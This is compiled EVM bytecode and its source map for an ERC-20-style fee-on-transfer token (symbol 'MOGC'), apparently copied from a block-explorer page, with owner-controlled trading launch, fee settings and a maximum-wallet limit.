61041857600080fd5b506040805180820190915260048152634d4f474360e01b60208201526101c0565b34801561044557600080fd5b5061023d60035481565b34801561045b57600080fd5b50600b546101f690600160a01b900460ff1681565b34801561047c57600080fd5b506101f661048b3660046115d9565b610acd565b34801561049c57600080fd5b50600154610315906001600160a01b031681565b3480156104bc57600080fd5b5061023d6104cb3660046116ca565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561050257600080fd5b5061022661051136600461168d565b610ae4565b6000610523338484610b7c565b5060015b92915050565b6000546001600160a01b031633146105605760405162461bcd60e51b8152600401610557906116f8565b60405180910390fd5b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b60006105996012600a611827565b6105a790633b9aca00611836565b905090565b6105b86012600a611827565b6105c690633b9aca00611836565b81565b6001600160a01b03831660009081526007602090815260408083203384529091528120546000191461062e576001600160a01b03841660009081526007602090815260408083203384529091528120805484929061062890849061184d565b90915550505b610639848484610c40565b949350505050565b600061064f6012600a611827565b61065d90633b9aca00611836565b60000361066957600080fd5b50601290565b6000546001600160a01b031633146106995760405162461bcd60e51b8152600401610557906116f8565b60038190556004819055600681106106b057600080fd5b50565b6000546001600160a01b031633146106dd5760405162461bcd60e51b8152600401610557906116f8565b6106e760006110f7565b565b6000546001600160a01b031633146107135760405162461bcd60e51b8152600401610557906116f8565b61071f6012600a611827565b61072d90633b9aca00611836565b600255565b6000546001600160a01b0316331461075c5760405162461bcd60e51b8152600401610557906116f8565b600b54600160a01b900460ff16156107ad5760405162461bcd60e51b815260206004820152601460248201527314185a5c88185b1c9958591e4818dc99585d195960621b6044820152606401610557565b6001546107c79030906001600160a01b0316600019610b7c565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083e9190611860565b6001600160a01b031663c9c65396600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611860565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801561090f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109339190611860565b600b80546001600160a01b039283166001600160a01b031990911681179091556000908152600960209081526040808320805460ff191660019081179091555430808552600a9093529083205493169263f305d7199247929190806109a06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a08573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2d919061187d565b5050600b5460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aaa91906118ab565b50600b805460ff60a01b1916600160a01b1790556006805460ff19166001179055565b6000610ada338484610c40565b5060019392505050565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b8152600401610557906116f8565b6001600160a01b038116610b735760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610557565b6106b0816110f7565b6001600160a01b038316610bc85760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610557565b6001600160a01b038216610c145760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610557565b6001600160a01b0392831660009081526007602090815260408083209490951682529290925291902055565b60006001600160a01b038316610c985760405162461bcd60e51b815260206004820152601b60248201527f696e76616c6964207265636569707469656e74206164647265737300000000006044820152606401610557565b6001600160a01b038416610ce75760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642073656e646572206164647265737360501b6044820152606401610557565b60008211610d565760405162461bcd60e51b815260206004820152603660248201527f496e73756666696369656e74206572726f722e2074686520616d6f756e74206d6044820152757573742062652061626f7665207468616e207a65726f60501b6064820152608401610557565b6001600160a01b03841660009081526008602052604090205460ff16158015610d9857506001600160a01b03831660009081526008602052604090205460ff16155b15610e84576001600160a01b03831660009081526009602052604090205460ff16610e32576002546001600160a01b0384166000908152600a6020526040902054610de49084906118c8565b1115610e325760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610557565b600b54600160a01b900460ff16610e845760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08185b1b1bddd95960521b6044820152606401610557565b600b54600160a81b900460ff16158015610eb657506001600160a01b03831660009081526009602052604090205460ff165b8015610ecb5750600b54600160a01b900460ff165b8015610f095750620f4240610ee26012600a611827565b610ef090633b9aca00611836565b610efb906005611836565b610f0591906118db565b8210155b1561101057306000908152600a60205260408120549050620f4240610f306012600a611827565b610f3e90633b9aca00611836565b610f49906005611836565b610f5391906118db565b8110610fcd576064610f676012600a611827565b610f7590633b9aca00611836565b610f80906002611836565b610f8a91906118db565b8110610fc4576064610f9e6012600a611827565b610fac90633b9aca00611836565b610fb7906002611836565b610fc191906118db565b90505b610fcd81611147565b6006546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f1935050505015801561100d573d6000803e3d6000fd5b50505b600061103185856110218888611309565b61102b8989611350565b87611397565b905061103d818461184d565b6001600160a01b0386166000908152600a60205260408120805490919061106590849061184d565b909155506110759050818461184d565b6001600160a01b0385166000908152600a60205260408120805490919061109d9084906118c8565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110db848761184d565b60405190815260200160405180910390a3506001949350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600b805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061118f5761118f6118fd565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120c9190611860565b8160018151811061121f5761121f6118fd565b6001600160a01b03928316602091820292909201810191909152306000908152600782526040808220600154909416825292909152205460001914611289573060009081526007602090815260408083206001546001600160a01b03168452909152902060001990555b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c2908590600090869030904290600401611913565b600060405180830381600087803b1580156112dc57600080fd5b505af19250505080156112ed575060015b6112f757506112f9565b505b50600b805460ff60a81b19169055565b6001600160a01b038116600090815260086020526040812054819060ff1615801561063957505050506001600160a01b031660009081526009602052604090205460ff1690565b6001600160a01b038116600090815260096020526040812054819060ff16801561063957505050506001600160a01b031660009081526008602052604090205460ff161590565b60008084156113a957506003546113b4565b83156113b457506004545b600060646113c28386611836565b6113cc91906118db565b6006549091506001600160a01b036101009091048116908916036114d1578015611486576001600160a01b0388166000908152600a60205260408120805483929061141890849061184d565b9091555050306000908152600a60205260408120805483929061143c9084906118c8565b909155505060405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36114be565b611490818561184d565b6001600160a01b0388166000908152600a6020526040812080549091906114b89084906118c8565b90915550505b6114c8818561184d565b9250505061156d565b8015611569576001600160a01b0388166000908152600a6020526040812080548392906114ff90849061184d565b9091555050306000908152600a6020526040812080548392906115239084906118c8565b909155505060405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b9150505b95945050505050565b600060208083528351808285015260005b818110156115a357858101830151858201604001528201611587565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106b057600080fd5b600080604083850312156115ec57600080fd5b82356115f7816115c4565b946020939093013593505050565b80151581146106b057600080fd5b6000806040838503121561162657600080fd5b8235611631816115c4565b9150602083013561164181611605565b809150509250929050565b60008060006060848603121561166157600080fd5b833561166c816115c4565b9250602084013561167c816115c4565b929592945050506040919091013590565b60006020828403121561169f57600080fd5b81356116aa816115c4565b9392505050565b6000602082840312156116c357600080fd5b5035919050565b600080604083850312156116dd57600080fd5b82356116e8816115c4565b91506020830135611641816115c4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561177e5781600019048211156117645761176461172d565b8085161561177157918102915b93841c9390800290611748565b509250929050565b60008261179557506001610527565b816117a257506000610527565b81600181146117b857600281146117c2576117de565b6001915050610527565b60ff8411156117d3576117d361172d565b50506001821b610527565b5060208310610133831016604e8410600b8410161715611801575081810a610527565b61180b8383611743565b806000190482111561181f5761181f61172d565b029392505050565b60006116aa60ff841683611786565b80820281158282048414176105275761052761172d565b818103818111156105275761052761172d565b60006020828403121561187257600080fd5b81516116aa816115c4565b60008060006060848603121561189257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118bd57600080fd5b81516116aa81611605565b808201808211156105275761052761172d565b6000826118f857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119635784516001600160a01b03168352938301939183019160010161193e565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201e06e93f362a779e7c16d59dbfee38aa07e7f61b90dad7919d6e29a48c256d2264736f6c63430008130033

Deployed Bytecode Sourcemap

5597:8323:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6028:99;;;;;;;;;;-1:-1:-1;6109:10:0;;;;;;;;;;;;-1:-1:-1;;;6109:10:0;;;;6028:99;;;;;;;:::i;:::-;;;;;;;;9083:193;;;;;;;;;;-1:-1:-1;9083:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9083:193:0;1023:187:1;10055:118:0;;;;;;;;;;-1:-1:-1;10055:118:0;;;;;:::i;:::-;;:::i;:::-;;5646:100;;;;;;;;;;;;;:::i;:::-;;;1871:25:1;;;1859:2;1844:18;5646:100:0;1725:177:1;6948:66:0;;;;;;;;;;;;;:::i;9587:340::-;;;;;;;;;;-1:-1:-1;9587:340:0;;;;;:::i;:::-;;:::i;9935:112::-;;;;;;;;;;-1:-1:-1;9935:112:0;;;;;:::i;:::-;-1:-1:-1;;;;;10022:17:0;9998:4;10022:17;;;:8;:17;;;;;;;;;9935:112;7021:39;;;;;;;;;;;;7057:3;7021:39;;5754:160;;;;;;;;;;;;;:::i;:::-;;;2792:4:1;2780:17;;;2762:36;;2750:2;2735:18;5754:160:0;2620:184:1;7543:21:0;;;;;;;;;;-1:-1:-1;7543:21:0;;;;-1:-1:-1;;;;;7543:21:0;;;;;;-1:-1:-1;;;;;2973:32:1;;;2955:51;;2943:2;2928:18;7543:21:0;2809:203:1;7138:27:0;;;;;;;;;;;;;;;;13676:143;;;;;;;;;;-1:-1:-1;13676:143:0;;;;;:::i;:::-;;:::i;6433:117::-;;;;;;;;;;-1:-1:-1;6433:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6526:16:0;6499:7;6526:16;;;:7;:16;;;;;;;6433:117;964:94;;;;;;;;;;;;;:::i;13827:88::-;;;;;;;;;;;;;:::i;6135:94::-;;;;;;;;;;-1:-1:-1;6187:7:0;814:6;-1:-1:-1;;;;;814:6:0;6135:94;5646:100;7103:28;;;;;;;;;;;;;;;;8101:732;;;;;;;;;;;;;:::i;5922:98::-;;;;;;;;;;-1:-1:-1;6005:7:0;;;;;;;;;;;;-1:-1:-1;;;6005:7:0;;;;5922:98;;7067:29;;;;;;;;;;;;;;;;7571:37;;;;;;;;;;-1:-1:-1;7571:37:0;;;;-1:-1:-1;;;7571:37:0;;;;;;8878:197;;;;;;;;;;-1:-1:-1;8878:197:0;;;;;:::i;:::-;;:::i;6556:27::-;;;;;;;;;;-1:-1:-1;6556:27:0;;;;-1:-1:-1;;;;;6556:27:0;;;6237:188;;;;;;;;;;-1:-1:-1;6237:188:0;;;;;:::i;:::-;-1:-1:-1;;;;;6389:19:0;;;6357:7;6389:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6237:188;1066:229;;;;;;;;;;-1:-1:-1;1066:229:0;;;;;:::i;:::-;;:::i;9083:193::-;9187:4;9209:37;9218:10;9230:7;9239:6;9209:8;:37::i;:::-;-1:-1:-1;9264:4:0;9083:193;;;;;:::o;10055:118::-;787:7;814:6;-1:-1:-1;;;;;814:6:0;345:10;876:23;868:68;;;;-1:-1:-1;;;868:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;10138:17:0;;;::::1;;::::0;;;:8:::1;:17;::::0;;;;:27;;-1:-1:-1;;10138:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10055:118::o;5646:100::-;5701:7;7001:13;6730:2;7001;:13;:::i;:::-;6985:29;;:13;:29;:::i;:::-;5721:17;;5646:100;:::o;6948:66::-;7001:13;6730:2;7001;:13;:::i;:::-;6985:29;;:13;:29;:::i;:::-;6948:66;:::o;9587:340::-;-1:-1:-1;;;;;9742:19:0;;9721:4;9742:19;;;:11;:19;;;;;;;;9762:10;9742:31;;;;;;;;-1:-1:-1;;9742:52:0;9738:126;;-1:-1:-1;;;;;9811:19:0;;;;;;:11;:19;;;;;;;;9831:10;9811:31;;;;;;;:41;;9846:6;;9811:19;:41;;9846:6;;9811:41;:::i;:::-;;;;-1:-1:-1;;9738:126:0;9883:36;9893:6;9901:9;9912:6;9883:9;:36::i;:::-;9876:43;9587:340;-1:-1:-1;;;;9587:340:0:o;5754:160::-;5806:5;7001:13;6730:2;7001;:13;:::i;:::-;6985:29;;:13;:29;:::i;:::-;5842:1;5828:15;5824:56;;5860:8;;;5824:56;-1:-1:-1;6730:2:0;;5754:160::o;13676:143::-;787:7;814:6;-1:-1:-1;;;;;814:6:0;345:10;876:23;868:68;;;;-1:-1:-1;;;868:68:0;;;;;;;:::i;:::-;13739:9:::1;:16:::0;;;13766:8:::1;:15:::0;;;13809:1:::1;13802:8:::0;::::1;13794:17;;;::::0;::::1;;13676:143:::0;:::o;964:94::-;787:7;814:6;-1:-1:-1;;;;;814:6:0;345:10;876:23;868:68;;;;-1:-1:-1;;;868:68:0;;;;;;;:::i;:::-;1029:21:::1;1047:1;1029:9;:21::i;:::-;964:94::o:0;13827:88::-;787:7;814:6;-1:-1:-1;;;;;814:6:0;345:10;876:23;868:68;;;;-1:-1:-1;;;868:68:0;;;;;;;:::i;:::-;7001:13:::1;6730:2;7001;:13;:::i;:::-;6985:29;::::0;:13:::1;:29;:::i;:::-;13881:13;:26:::0;13827:88::o;8101:732::-;787:7;814:6;-1:-1:-1;;;;;814:6:0;345:10;876:23;868:68;;;;-1:-1:-1;;;868:68:0;;;;;;;:::i;:::-;8169:17:::1;::::0;-1:-1:-1;;;8169:17:0;::::1;;;8168:18;8160:51;;;::::0;-1:-1:-1;;;8160:51:0;;6204:2:1;8160:51:0::1;::::0;::::1;6186:21:1::0;6243:2;6223:18;;;6216:30;-1:-1:-1;;;6262:18:1;;;6255:50;6322:18;;8160:51:0::1;6002:344:1::0;8160:51:0::1;8254:10;::::0;8222:63:::1;::::0;8239:4:::1;::::0;-1:-1:-1;;;;;8254:10:0::1;-1:-1:-1::0;;8222:8:0::1;:63::i;:::-;8318:10;;;;;;;;;-1:-1:-1::0;;;;;8318:10:0::1;-1:-1:-1::0;;;;;8318:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8307:43:0::1;;8365:10;;;;;;;;;-1:-1:-1::0;;;;;8365:10:0::1;-1:-1:-1::0;;;;;8365:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8307:114;::::0;-1:-1:-1;;;;;;8307:114:0::1;::::0;;;;;;-1:-1:-1;;;;;6837:15:1;;;8307:114:0::1;::::0;::::1;6819:34:1::0;8405:4:0::1;6869:18:1::0;;;6862:43;6754:18;;8307:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8298:6;:123:::0;;-1:-1:-1;;;;;8298:123:0;;::::1;-1:-1:-1::0;;;;;;8298:123:0;;::::1;::::0;::::1;::::0;;;:6:::1;8432:18:::0;;;:10:::1;:18;::::0;;;;;;;:25;;-1:-1:-1;;8432:25:0::1;8298:123:::0;8432:25;;::::1;::::0;;;8470:10;8549:4:::1;8569:22:::0;;;:7:::1;:22:::0;;;;;;;8470:10;::::1;::::0;:26:::1;::::0;8504:21:::1;::::0;8549:4;8569:22;8298:6;8638:7:::1;787::::0;814:6;-1:-1:-1;;;;;814:6:0;;741:87;8638:7:::1;8470:216;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8470:216:0;;;-1:-1:-1;;;;;7275:15:1;;;8470:216:0::1;::::0;::::1;7257:34:1::0;7307:18;;;7300:34;;;;7350:18;;;7343:34;;;;7393:18;;;7386:34;7457:15;;;7436:19;;;7429:44;8660:15:0::1;7489:19:1::0;;;7482:35;7191:19;;8470:216:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8704:6:0::1;::::0;;8728:10;8697:62:::1;::::0;-1:-1:-1;;;8697:62:0;;-1:-1:-1;;;;;8728:10:0;;::::1;8697:62;::::0;::::1;8013:51:1::0;-1:-1:-1;;8080:18:1;;;8073:34;8704:6:0;::::1;::::0;-1:-1:-1;8697:22:0::1;::::0;7986:18:1;;8697:62:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8772:17:0::1;:24:::0;;-1:-1:-1;;;;8772:24:0::1;-1:-1:-1::0;;;8772:24:0::1;::::0;;8807:11:::1;:18:::0;;-1:-1:-1;;8807:18:0::1;8792:4;8807:18;::::0;;8101:732::o;8878:197::-;8983:4;9005:40;9015:10;9027:9;9038:6;9005:9;:40::i;:::-;-1:-1:-1;9063:4:0;;8878:197;-1:-1:-1;;;8878:197:0:o;1066:229::-;787:7;814:6;-1:-1:-1;;;;;814:6:0;345:10;876:23;868:68;;;;-1:-1:-1;;;868:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1169:22:0;::::1;1147:110;;;::::0;-1:-1:-1;;;1147:110:0;;8570:2:1;1147:110:0::1;::::0;::::1;8552:21:1::0;8609:2;8589:18;;;8582:30;8648:34;8628:18;;;8621:62;-1:-1:-1;;;8699:18:1;;;8692:36;8745:19;;1147:110:0::1;8368:402:1::0;1147:110:0::1;1268:19;1278:8;1268:9;:19::i;9284:295::-:0;-1:-1:-1;;;;;9413:20:0;;9405:52;;;;-1:-1:-1;;;9405:52:0;;8977:2:1;9405:52:0;;;8959:21:1;9016:2;8996:18;;;8989:30;-1:-1:-1;;;9035:18:1;;;9028:49;9094:18;;9405:52:0;8775:343:1;9405:52:0;-1:-1:-1;;;;;9476:21:0;;9468:53;;;;-1:-1:-1;;;9468:53:0;;8977:2:1;9468:53:0;;;8959:21:1;9016:2;8996:18;;;8989:30;-1:-1:-1;;;9035:18:1;;;9028:49;9094:18;;9468:53:0;8775:343:1;9468:53:0;-1:-1:-1;;;;;9534:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;9284:295::o;10576:1405::-;10689:4;-1:-1:-1;;;;;10714:16:0;;10706:56;;;;-1:-1:-1;;;10706:56:0;;9325:2:1;10706:56:0;;;9307:21:1;9364:2;9344:18;;;9337:30;9403:29;9383:18;;;9376:57;9450:18;;10706:56:0;9123:351:1;10706:56:0;-1:-1:-1;;;;;10781:18:0;;10773:53;;;;-1:-1:-1;;;10773:53:0;;9681:2:1;10773:53:0;;;9663:21:1;9720:2;9700:18;;;9693:30;-1:-1:-1;;;9739:18:1;;;9732:52;9801:18;;10773:53:0;9479:346:1;10773:53:0;10868:1;10859:6;:10;10837:114;;;;-1:-1:-1;;;10837:114:0;;10032:2:1;10837:114:0;;;10014:21:1;10071:2;10051:18;;;10044:30;10110:34;10090:18;;;10083:62;-1:-1:-1;;;10161:18:1;;;10154:52;10223:19;;10837:114:0;9830:418:1;10837:114:0;-1:-1:-1;;;;;10969:14:0;;;;;;:8;:14;;;;;;;;10968:15;:32;;;;-1:-1:-1;;;;;;10988:12:0;;;;;;:8;:12;;;;;;;;10987:13;10968:32;10964:249;;;-1:-1:-1;;;;;11021:14:0;;;;;;:10;:14;;;;;;;;11017:117;;11086:13;;-1:-1:-1;;;;;11062:11:0;;;;;;:7;:11;;;;;;:20;;11076:6;;11062:20;:::i;:::-;:37;;11054:80;;;;-1:-1:-1;;;11054:80:0;;10585:2:1;11054:80:0;;;10567:21:1;10624:2;10604:18;;;10597:30;10663:32;10643:18;;;10636:60;10713:18;;11054:80:0;10383:354:1;11054:80:0;11157:17;;-1:-1:-1;;;11157:17:0;;;;11149:52;;;;-1:-1:-1;;;11149:52:0;;10944:2:1;11149:52:0;;;10926:21:1;10983:2;10963:18;;;10956:30;-1:-1:-1;;;11002:18:1;;;10995:52;11064:18;;11149:52:0;10742:346:1;11149:52:0;11228:6;;-1:-1:-1;;;11228:6:0;;;;11227:7;:25;;;;-1:-1:-1;;;;;;11238:14:0;;;;;;:10;:14;;;;;;;;11227:25;:46;;;;-1:-1:-1;11256:17:0;;-1:-1:-1;;;11256:17:0;;;;11227:46;:74;;;;-1:-1:-1;6861:9:0;7001:13;6730:2;7001;:13;:::i;:::-;6985:29;;:13;:29;:::i;:::-;6843:14;;6856:1;6843:14;:::i;:::-;6842:28;;;;:::i;:::-;11277:6;:24;;11227:74;11223:473;;;11367:4;11318:28;6526:16;;;:7;:16;;;;;;11318:55;-1:-1:-1;6861:9:0;7001:13;6730:2;7001;:13;:::i;:::-;6985:29;;:13;:29;:::i;:::-;6843:14;;6856:1;6843:14;:::i;:::-;6842:28;;;;:::i;:::-;11392:20;:38;11388:238;;6938:3;7001:13;6730:2;7001;:13;:::i;:::-;6985:29;;:13;:29;:::i;:::-;6920:14;;6933:1;6920:14;:::i;:::-;6919:22;;;;:::i;:::-;11455:20;:38;11451:102;;6938:3;7001:13;6730:2;7001;:13;:::i;:::-;6985:29;;:13;:29;:::i;:::-;6920:14;;6933:1;6920:14;:::i;:::-;6919:22;;;;:::i;:::-;11516:37;;11451:102;11572:38;11589:20;11572:16;:38::i;:::-;11640:12;;:44;;-1:-1:-1;;;;;11640:12:0;;;;;;;;;11662:21;11640:44;;;;;;;;;11662:21;11640:12;:44;;;;;;;;;;;;;;;;;;;;;11303:393;11223:473;11708:18;11729:67;11739:4;11744:2;11747:19;11757:4;11763:2;11747:9;:19::i;:::-;11767:20;11778:4;11784:2;11767:10;:20::i;:::-;11789:6;11729:9;:67::i;:::-;11708:88;-1:-1:-1;11825:19:0;11708:88;11825:6;:19;:::i;:::-;-1:-1:-1;;;;;11807:13:0;;;;;;:7;:13;;;;;:38;;:13;;;:38;;;;;:::i;:::-;;;;-1:-1:-1;11872:19:0;;-1:-1:-1;11881:10:0;11872:6;:19;:::i;:::-;-1:-1:-1;;;;;11856:11:0;;;;;;:7;:11;;;;;:36;;:11;;;:36;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;11908:41:0;;;;;;;11928:19;11937:10;11928:6;:19;:::i;:::-;11908:41;;1871:25:1;;;1859:2;1844:18;11908:41:0;;;;;;;-1:-1:-1;11969:4:0;;10576:1405;-1:-1:-1;;;;10576:1405:0:o;1303:173::-;1359:16;1378:6;;-1:-1:-1;;;;;1395:17:0;;;-1:-1:-1;;;;;;1395:17:0;;;;;;1428:40;;1378:6;;;;;;;1428:40;;1359:16;1428:40;1348:128;1303:173;:::o;12931:737::-;7674:6;:13;;-1:-1:-1;;;;7674:13:0;-1:-1:-1;;;7674:13:0;;;13063:16:::1;::::0;;13077:1:::1;13063:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13063:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13063:16:0::1;13039:40;;13108:4;13090;13095:1;13090:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13090:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13134:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;13134:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;13090:7;;13134:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13124:4;13129:1;13124:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13124:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:27;;;;13202:4:::1;13182:26;::::0;;;:11:::1;:26:::0;;;;;;13217:10:::1;::::0;;;::::1;13182:47:::0;;;;;;;;-1:-1:-1;;13182:68:0::1;13164:192;;13297:4;13277:26;::::0;;;:11:::1;:26;::::0;;;;;;;13312:10:::1;::::0;-1:-1:-1;;;;;13312:10:0::1;13277:47:::0;;;;;;;-1:-1:-1;;13277:67:0;;13164:192:::1;13385:10;::::0;:224:::1;::::0;-1:-1:-1;;;13385:224:0;;-1:-1:-1;;;;;13385:10:0;;::::1;::::0;:61:::1;::::0;:224:::1;::::0;13465:20;;13385:10:::1;::::0;13524:4;;13555::::1;::::0;13579:15:::1;::::0;13385:224:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;13368:293;;13643:7;;;13368:293;13028:640;7698:1;-1:-1:-1::0;7710:6:0;:14;;-1:-1:-1;;;;7710:14:0;;;12931:737::o;10181:172::-;-1:-1:-1;;;;;10285:13:0;;10249:4;10285:13;;;:8;:13;;;;;;10249:4;;10285:13;;10284:14;:33;;;;-1:-1:-1;;;;;;;;;10302:15:0;;;;;:10;:15;;;;;;;;;10181:172::o;10361:207::-;-1:-1:-1;;;;;10498:15:0;;10457:4;10498:15;;;:10;:15;;;;;;10457:4;;10498:15;;:33;;;;-1:-1:-1;;;;;;;;;10518:13:0;;;;;:8;:13;;;;;;;;10517:14;;10361:207::o;11989:934::-;12145:7;;12191:68;;;;-1:-1:-1;12208:9:0;;12191:68;;;12237:6;12233:26;;;-1:-1:-1;12251:8:0;;12233:26;12270:17;7057:3;12291:12;12300:3;12291:6;:12;:::i;:::-;12290:26;;;;:::i;:::-;12338:12;;12270:46;;-1:-1:-1;;;;;;12338:12:0;;;;;;12330:20;;;;12327:370;;12369:13;;12366:280;;-1:-1:-1;;;;;12402:13:0;;;;;;:7;:13;;;;;:26;;12419:9;;12402:13;:26;;12419:9;;12402:26;:::i;:::-;;;;-1:-1:-1;;12463:4:0;12447:22;;;;:7;:22;;;;;:35;;12473:9;;12447:22;:35;;12473:9;;12447:35;:::i;:::-;;;;-1:-1:-1;;12506:40:0;;1871:25:1;;;12529:4:0;;-1:-1:-1;;;;;12506:40:0;;;;;1859:2:1;1844:18;12506:40:0;;;;;;;12366:280;;;12614:16;12621:9;12614:6;:16;:::i;:::-;-1:-1:-1;;;;;12599:11:0;;;;;;:7;:11;;;;;:31;;:11;;;:31;;;;;:::i;:::-;;;;-1:-1:-1;;12366:280:0;12667:18;12676:9;12667:6;:18;:::i;:::-;12660:25;;;;;;12327:370;12711:13;;12707:182;;-1:-1:-1;;;;;12741:13:0;;;;;;:7;:13;;;;;:26;;12758:9;;12741:13;:26;;12758:9;;12741:26;:::i;:::-;;;;-1:-1:-1;;12798:4:0;12782:22;;;;:7;:22;;;;;:35;;12808:9;;12782:22;:35;;12808:9;;12782:35;:::i;:::-;;;;-1:-1:-1;;12837:40:0;;1871:25:1;;;12860:4:0;;-1:-1:-1;;;;;12837:40:0;;;;;1859:2:1;1844:18;12837:40:0;;;;;;;12707:182;12906:9;-1:-1:-1;;11989:934:0;;;;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:118::-;1301:5;1294:13;1287:21;1280:5;1277:32;1267:60;;1323:1;1320;1313:12;1338:382;1403:6;1411;1464:2;1452:9;1443:7;1439:23;1435:32;1432:52;;;1480:1;1477;1470:12;1432:52;1519:9;1506:23;1538:31;1563:5;1538:31;:::i;:::-;1588:5;-1:-1:-1;1645:2:1;1630:18;;1617:32;1658:30;1617:32;1658:30;:::i;:::-;1707:7;1697:17;;;1338:382;;;;;:::o;